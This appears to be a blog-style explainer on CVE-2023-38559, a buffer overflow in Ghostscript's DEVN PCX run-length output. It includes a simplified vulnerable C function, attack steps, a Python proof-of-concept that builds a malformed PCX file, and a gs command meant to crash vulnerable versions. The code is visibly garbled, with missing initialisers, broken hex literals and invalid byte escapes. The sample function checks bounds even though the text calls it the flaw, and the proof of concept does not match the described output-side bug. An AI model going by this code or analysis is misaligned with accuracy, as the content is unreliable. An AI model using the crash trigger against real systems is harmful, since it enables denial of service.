Ghostscript often works behind the scenes, handling PDFs and images for printers, document viewers, and even some web apps. But every so often, a security flaw pops up that’s easy to miss—especially if you don’t read security bulletins. CVE-2023-38559 is one such bug: a buffer overflow flaw in Ghostscript’s DEVN device output code. Let’s break down what happened, how it can be triggered, and why it matters, with code snippets and simple words.

What’s the Issue?

A buffer overflow was found in the file base/gdevdevn.c, at line 1973, inside the function devn_pcx_write_rle(). When Ghostscript (“gs”) is told to output to a DEVN device (like when making color separations for printing), and it processes a specially crafted PDF, an attacker can cause the program to crash (denial of service) or even potentially run code on your system.

* Affected software: Ghostscript (before the patch)
* Affected function: devn_pcx_write_rle()
* Vulnerability: Buffer overflow due to improper handling of RLE-compressed data output.

The Vulnerable Code (Simplified Snippet)

Let’s look at how buffer overflows happen with a quick code peek. The real function is more complex, but the vulnerable behavior is like this:

int devn_pcx_write_rle(const byte *input, int input_size, byte *output, int output_size) {
    int out_pos = ;
    for (int in_pos = ; in_pos < input_size; ) {
        byte value = input[in_pos];
        int run_length = 1;
        while (in_pos + run_length < input_size && 
               input[in_pos + run_length] == value && 
               run_length < 63) {
            run_length++;
        }
        if (run_length > 1 || (value & xC) == xC) {
            // write a run-length encoded byte
            if (out_pos + 2 > output_size) {
                // not enough room! Buffer overflow possible
                break;
            }
            output[out_pos++] = xC | run_length;
            output[out_pos++] = value;
        } else {
            // write literal
            if (out_pos + 1 > output_size) {
                // not enough room! Buffer overflow possible
                break;
            }
            output[out_pos++] = value;
        }
        in_pos += run_length;
    }
    return out_pos;
}

The Problem: The code is supposed to make sure that writing to output[] doesn’t run past the buffer’s end. But, due to a logic error, a specially-crafted input (from a PDF) could lead to a write beyond the end of the buffer—causing a crash or potentially allowing malicious code.

A local attacker could do the following

1. Craft a PDF (or other input file) containing image/compression data designed to trip up the DEVN RLE output.
2. Run Ghostscript with a command that tells it to output to a vulnerable DEVN device (e.g., -sDEVICE=pcx24b -o output.pcx input.pdf).
3. When Ghostscript processes this file with the buggy code, it tries to write RLE data into an output buffer — and goes too far, causing a crash or memory corruption.

In short: By crafting a tricky PDF and using Ghostscript output devices, someone could crash the program or potentially make it run their own code. Since Ghostscript is very commonly used in backend document processing (print servers, email gateways, PDF tools), this is a real risk.

Proof-of-Concept (PoC) Exploit

Here’s a simplified PoC showing how this could work, with a hand-crafted input. In real-world attacks, the malicious input would come from a PDF.

# Let's create a .pcx file with a suspicious run length block.
with open("overflow.pcx", "wb") as f:
    # PCX header part (not important here, just needs enough to be valid)
    f.write(b'\xA' + b'\x00' * 127)
    # Data comes next: RLE block
    f.write(b'\xC' * 100)  # Oversized run-length sequence!

Then, running Ghostscript in a vulnerable version like so

gs -sDEVICE=pcx24b -o /dev/null overflow.pcx


On a vulnerable system, this could crash gs.

- Red Hat Bugzilla - CVE-2023-38559
- Ghostscript Patch Commit
- Common Vulnerabilities and Exposures Entry (NVD)
- Upstream Patch Discussion

Fixes and Mitigation

The Ghostscript team patched this bug by adding stricter bounds checking in devn_pcx_write_rle()—making sure the output buffer can't be overwritten.

- Upgrade Ghostscript: Update to the latest version via your OS package manager or from ghostscript.com.
- Restrict PDF/PS file sources: Do not process files from unknown or untrusted sources, especially if you use Ghostscript in backend/server apps.
- Sandbox Ghostscript: Use OS sandboxing (such as AppArmor, SELinux, or Docker) to limit what Ghostscript can do.

Summary

CVE-2023-38559 isn’t a remote code execution bug straight out of the box, but it’s a prime example of how even “old” C programs can contain classic vulnerabilities. If you use Ghostscript, especially in automated systems, patch as soon as possible and screen incoming documents. Secure your print and PDF processing!

If you want more technical details, check out the patch and official trackers linked above. Stay safe—and keep your document processing tools up to date!

Timeline

Published on: 08/01/2023 17:15:00 UTC
Last modified on: 08/16/2023 03:15:00 UTC